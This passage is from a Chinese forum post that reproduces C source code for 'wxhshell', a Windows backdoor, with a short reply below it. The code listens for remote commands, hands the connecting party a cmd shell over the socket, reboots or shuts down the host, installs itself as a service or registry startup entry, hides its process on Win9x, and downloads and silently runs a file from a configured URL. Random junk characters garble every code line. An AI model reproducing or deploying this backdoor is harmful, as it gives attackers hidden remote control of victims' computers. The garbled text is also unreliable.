  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OJ,Z  
  else 4ad-'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tk:%YS;=  
  } mJa8;X!r6  
  else { 2PQY+[jx  
%40+si3c  
    switch(cmd[0]) { (tz fyZ M  
  GpGq' 8|(  
  // 帮助 0uhIJc'2  
  case '?': { O+PRP"$g"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?RU_SCp-  
    break; ,Laz515  
  } g{^(EZ,  
  // 安装 4S*7*ak{  
  case 'i': { <c]?  
    if(Install()) 7YQ689"J6B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8rM1kOCf  
    else @h)X3X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b*dEX%H8sf  
    break; Lo uYY: Q  
    } Qvm[2mb  
  // 卸载 &C.m*^`^  
  case 'r': { ?oulQR6:  
    if(Uninstall()) 0&2eiMKG?n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q)ZbnR2Z8  
    else %lqrq<Xn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _0!<iN L  
    break; [J+]1hCZ|  
    } "Tc[1{eI  
  // 显示 wxhshell 所在路径 M =6  
  case 'p': { &d i=alvv1  
    char svExeFile[MAX_PATH]; g0 Jy:`M  
    strcpy(svExeFile,"\n\r"); `!7QegJa"  
      strcat(svExeFile,ExeFile); oxJ#NGD  
        send(wsh,svExeFile,strlen(svExeFile),0); ^|lG9z%Foy  
    break; 02mu%|"  
    } B+2Jea,N  
  // 重启 .MI 5?]_  
  case 'b': { a 8.Xy])!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [*v- i%U}  
    if(Boot(REBOOT)) nCPIpw,]M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0;:AT|U/d  
    else { pb}4{]sI  
    closesocket(wsh); &1M#;rE;D#  
    ExitThread(0); }W$}blbp  
    } xT;j_'9U;  
    break; .R{+Pz D  
    } , \R,O  
  // 关机 )ioIn`g^-  
  case 'd': { fhbILg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;ksxz  
    if(Boot(SHUTDOWN)) ]R6Z(^XT,E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vH/ Y]Am  
    else { O*-sSf   
    closesocket(wsh); A:YWXcg  
    ExitThread(0); <PTi>C8;r  
    } g].v  
    break; .Af H>)E  
    } uW^W/S%'  
  // 获取shell | sZu1K  
  case 's': { g0"KC X  
    CmdShell(wsh); r!HB""w  
    closesocket(wsh); O:Ob{k  
    ExitThread(0); >TddKR @C  
    break; Fa A7m  
  } i*ji   
  // 退出 \'Ewn8Qv8  
  case 'x': { iWMgU:T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l$eKV(CZ4  
    CloseIt(wsh); 77o&$l,A|  
    break; ?8aPd"x  
    } jG~UyzWH;  
  // 离开 V'XvwO@  
  case 'q': { rBovC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z{dn   
    closesocket(wsh); 9S$?2z".2  
    WSACleanup(); jN^09T49  
    exit(1); ~[9(}UM  
    break; :R9 DJh\  
        } /7-qb^V  
  } AlQ  
  } :h)A/k_  
@AAkEWo)_  
  // 提示信息 FAP1Bm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hV>@qOl '  
} t4CI+fqy  
  } PbN"+qM  
3+| {O  
  return; 6N]V.;0_5  
} 1[r;  
x:WxEw>R  
// shell模块句柄 +jpC%o}C  
int CmdShell(SOCKET sock) I6,sN9` K  
{ d( +E0  
STARTUPINFO si; 'P5|[du+  
ZeroMemory(&si,sizeof(si)); =| M[JPr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W_z?t;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b1`(f"&l  
PROCESS_INFORMATION ProcessInfo; 4<QS ot  
char cmdline[]="cmd"; lg!{?xM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Pw_[{LL  
  return 0; O`W&`B(*k  
} j2"Y{6c  
1F_ 1bAh$  
// 自身启动模式 zPT!Fa`  
int StartFromService(void) %xWscA%^u  
{ ;Z(~;D  
typedef struct hSyA;*)U  
{ 95CCje{o _  
  DWORD ExitStatus; smt6).o  
  DWORD PebBaseAddress; jboQ)NxT!,  
  DWORD AffinityMask; K;_.WzWD=  
  DWORD BasePriority; Obm@2;^g6  
  ULONG UniqueProcessId; U<lCK!85[  
  ULONG InheritedFromUniqueProcessId; M:OJL\0  
}   PROCESS_BASIC_INFORMATION; 9AROvq|#  
I+^B] @"  
PROCNTQSIP NtQueryInformationProcess; \XXS;  
Z2dy|e(c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RU^lR8;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !.ot&EbE  
3e.v'ccK&  
  HANDLE             hProcess; bs_"Nn?  
  PROCESS_BASIC_INFORMATION pbi; h7H#sL[^  
'of5v6:8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); StuDtY  
  if(NULL == hInst ) return 0; \PB~ 6  
044*@a5f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {%;KkC8=R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jW-j+ WGSM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (SlrV8;  
gB?~!J?  
  if (!NtQueryInformationProcess) return 0; { !C';^  
boR&'yX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @#%rTKD9F  
  if(!hProcess) return 0; p 8q9:Tz  
$N#f)8v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Gv,0{DVX<  
]'UO]i/  
  CloseHandle(hProcess); 2eBA&t  
c=T^)~$$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -\`n{$OR  
if(hProcess==NULL) return 0; 2 S\~  
= e)[?{H  
HMODULE hMod; >Rbgg1^]5  
char procName[255];  *YFe  
unsigned long cbNeeded; r4~Bn7j2  
Eqg(U0k0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3 9Ql|l$  
fFfH9cl!  
  CloseHandle(hProcess); 2>l:: 8Pp  
AVR9G^ce_  
if(strstr(procName,"services")) return 1; // 以服务启动 Lw]:/x  
Upr:sB  
  return 0; // 注册表启动 6 1Nj&1Ze  
} $e|G#mMd-  
 OT9\K_  
// 主模块 {q1&4U~'>O  
int StartWxhshell(LPSTR lpCmdLine) S4]xxc  
{ gq6C6   
  SOCKET wsl; [Pdm1]":(  
BOOL val=TRUE; \"qXlTQ1_9  
  int port=0; $+<X 1  
  struct sockaddr_in door; jG0{>P#+  
+_?;%PKkuF  
  if(wscfg.ws_autoins) Install(); TIV1?S  
+SmcZ^\OZ  
port=atoi(lpCmdLine); HB4Hz0Fa  
[ed%"f  
if(port<=0) port=wscfg.ws_port; %TUljX K}  
?'K}bmdt}.  
  WSADATA data; 0C}7=_?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~4wbIE_r N  
;C%D+"l1g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hgE!) UE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0:**uion  
  door.sin_family = AF_INET; :XMw="u=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hltH{4  
  door.sin_port = htons(port); TD-d5P^Kek  
!b*lL#s,Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vL13~q*F  
closesocket(wsl); ` BH8v  
return 1; k3[ ~I'  
} Ou; ]>FJ  
_VR Sdr5  
  if(listen(wsl,2) == INVALID_SOCKET) { !GMb~  
closesocket(wsl); -pj&|< h+9  
return 1; 2F3IC  
} _y)#N<  
  Wxhshell(wsl); I<.3"F1}  
  WSACleanup(); ,{7wvXP  
F]W'spF,  
return 0; sb_>D`>  
+V&b<y;?>  
} ;0}$zy1EZ  
/40Z-'Bl=(  
// 以NT服务方式启动 W;,.OoDc>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A0M)*9 f  
{ Z\xR+3  
DWORD   status = 0; Nora<  
  DWORD   specificError = 0xfffffff; b^PYA_k-Xn  
(@O F Wc"p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y.@ vdW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l_u1 ~K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |nXs'TO'O  
  serviceStatus.dwWin32ExitCode     = 0; MyuFZ7Q4$  
  serviceStatus.dwServiceSpecificExitCode = 0; mY.[AIB  
  serviceStatus.dwCheckPoint       = 0; @5zL4n@w  
  serviceStatus.dwWaitHint       = 0; +J$[RxQ#  
F5.Vhg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s_K:h  
  if (hServiceStatusHandle==0) return; [e ;K$  
:n>m">4  
status = GetLastError(); i}RxTmG<  
  if (status!=NO_ERROR) #:z.Br`  
{ DI9x] CR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A7-QOqST(  
    serviceStatus.dwCheckPoint       = 0; !yH&l6s  
    serviceStatus.dwWaitHint       = 0; ?D\6CsNp(2  
    serviceStatus.dwWin32ExitCode     = status; VbK| VON[  
    serviceStatus.dwServiceSpecificExitCode = specificError; }MrR svN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8;.WX  
    return; R3&W.?C T  
  } a`GoNh,  
zp"sM z]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kwK<?\D  
  serviceStatus.dwCheckPoint       = 0; rO 6oVz#x  
  serviceStatus.dwWaitHint       = 0; ;04doub  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sxl29y^*  
} `#2}[D   
+|Xx=1_?BK  
// 处理NT服务事件,比如:启动、停止 V?HC\F-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O} QTg  
{ 2M= gpy  
switch(fdwControl) ,/|"0$p2x  
{ j* g5f  
case SERVICE_CONTROL_STOP: >&e|ins^N  
  serviceStatus.dwWin32ExitCode = 0; jRXByi=9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c5<M=$  
  serviceStatus.dwCheckPoint   = 0; #=5/D@  
  serviceStatus.dwWaitHint     = 0; \Q?r+VZ  
  { ~0|Hw.OK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +Ld4 e]  
  } zhKb|SV  
  return; [st4FaQ36  
case SERVICE_CONTROL_PAUSE: (m=-oQ&Ro  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }!(cm;XA"  
  break; 0~R0)Q,  
case SERVICE_CONTROL_CONTINUE: >Rjk d>K3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,K6s'3O(LW  
  break; \NS\>Q+d  
case SERVICE_CONTROL_INTERROGATE: S*IF/ fu  
  break; &I:5<zK{  
}; mE%H5&VSI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m /JpYv~  
} 4{X5ZS?CkI  
5)2lZ(5.A#  
// 标准应用程序主函数 :Y0*P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +I5@Gys  
{ eL#pS=  
}9aYU;9D  
// 获取操作系统版本 y!."FoQ  
OsIsNt=GetOsVer(); 5"c#O U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :U0z;  
HzF  
  // 从命令行安装 B~V^?."  
  if(strpbrk(lpCmdLine,"iI")) Install(); 41^+T<+  
/^ i7^  
  // 下载执行文件 ON~SZa  
if(wscfg.ws_downexe) { ~0!s5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bB->\  
  WinExec(wscfg.ws_filenam,SW_HIDE); TV#pUQ3K  
} O2q`2L~  
]P<u^ `{*  
if(!OsIsNt) { ^hq`dr|R=  
// 如果时win9x,隐藏进程并且设置为注册表启动 %/CCh;N#  
HideProc(); 't{~#0d=  
StartWxhshell(lpCmdLine); 1xar L))  
} >jME == U0  
else 6OF&Q`*4  
  if(StartFromService()) ib0M$Y1tIS  
  // 以服务方式启动 - {>JF  
  StartServiceCtrlDispatcher(DispatchTable); CQW#o_\  
else {l%Of  
  // 普通方式启动 ,H2[["1DH  
  StartWxhshell(lpCmdLine); c-z ,}`  
81O`#DfZ  
return 0; 5yI_uQR  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八